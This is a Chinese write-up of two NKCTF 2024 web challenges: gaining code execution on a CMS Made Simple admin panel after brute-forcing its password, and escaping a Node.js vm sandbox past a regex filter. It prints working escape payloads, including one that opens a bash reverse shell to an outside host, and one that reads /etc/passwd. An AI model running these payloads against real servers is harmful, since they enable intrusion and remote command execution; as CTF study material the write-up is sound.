[NKCTF 2024]web解析

文章目录


my first cms

打开题目在最下面发现是CMS Made Simple,版本为2.2.19

扫一下发现存在后台登陆界面,直接访问

用字典爆破下admin的密码为Admin123

然后直接登录,去漏洞库搜一下其实存在很多漏洞(重点看最近的)

找到CMS Made Simple的RCE漏洞(CVE-2019-9059)参考文章

步骤如下

登陆后按照上图,保存后去执行代码

成功反弹shell,得到flag

全世界最简单的CTF

扫目录发现存在/secret源码泄露

复制代码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

本题是考察如何沙箱逃逸实现RCE,waf过滤很多,process被办意味着我们需要用别的手段去得到process对象,中括号被办就不能利用js特性拼接绕过,\被办意味着不能十六进制或者Unicode绕过。

解法一

参考LaoGong战队

我们注意到源码中的沙箱定义

复制代码
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

create内为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

而一般情况如果没有执行字符串操作或者利用函数重写,我们可以利用Proxy劫持

复制代码
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

而本题过滤了很多,我们可以用replace函数来绕过对process的检测

复制代码
const p = (cc.constructor.constructor('return proAcess'.replace('A','')))();
const obj=p.mainModule.require('child_process'.replace('A',''));

接下来是最为精彩的一步,利用javascript内置函数去返回一个属性描述符(PropertyDescriptor)对象,其中包括value也就是属性值

最终payload如下

复制代码
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procAess'.replace('A','')))();
			const obj = p.mainModule.require('child_procAess'.replace('A',''));
			const ex = Object.getOwnPropertyDescriptor(obj,'exeAcSync'.replace('A',''));
			return ex.value('bash -c "bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1"').toString();
        }
    })

成功反弹shell,执行/readflag得到flag

解法二

参考文章

我们注意下面代码

复制代码
app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})

如果process.__filename为null则回显源码,我们可以利用原型链污染__filename实现任意文件读取

本解法利用反射去得到process对象

复制代码
throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
        return p.__filename="/etc/passwd"
    }
})

然后访问 /secret 即可成功读取

尝试读/flag,返回permission denied, open '/flag',没权限直接读

尝试读./hack,注意路径是/app/hack.js,提示shell.js跟进一下

复制代码
console.log("shell"); const p = require('child_process'); p.execSync(process.env.command);

最终payload

复制代码
throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller;
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))();
        p.env.command="whoami";
        return p.mainModule.require("./shell");
    }
})
相关推荐
ShineWinsu1 分钟前
对于HTML:HTML常见标签的解析—上
前端·面试·html·浏览器·标签·图片·超链接
Wang's Blog6 分钟前
Java 项目部署之 Docker工具快速入门: 学习路径与命令速查导引
java·学习·docker
程序猿阿森10 分钟前
Warmup 学习率预热详解:为什么训练初期要“先热身再加速”?
深度学习·学习·语言模型
砚凝霜27 分钟前
【软考信息安全】第二十一章 网络设备安全增强技术与漏洞防护
网络·安全·web安全
lisw0527 分钟前
人类认知和语言学习中的控制论!
人工智能·学习·数学建模
鱼很腾apoc28 分钟前
【MySQL】 第1期 从核心概念到表约束全解析
linux·c语言·数据库·学习·mysql
百度一下吧37 分钟前
HTML5 新增标签与 Web Components 使用指南
前端·html·html5
acrel738 分钟前
高速公路分布式光伏并网电能质量与安全保护方案应用
分布式·安全
妖精的羽翼43 分钟前
Web3D(Three.js)应用分级 + 学习路线规划(由浅入深,贴合接单 + 求职)
学习·three.js
志尊宝44 分钟前
Vue3 零基础每日笔记(081):富文本编辑器集成 wangEditor 5——封装
前端·javascript·vue.js·笔记·信息可视化·echarts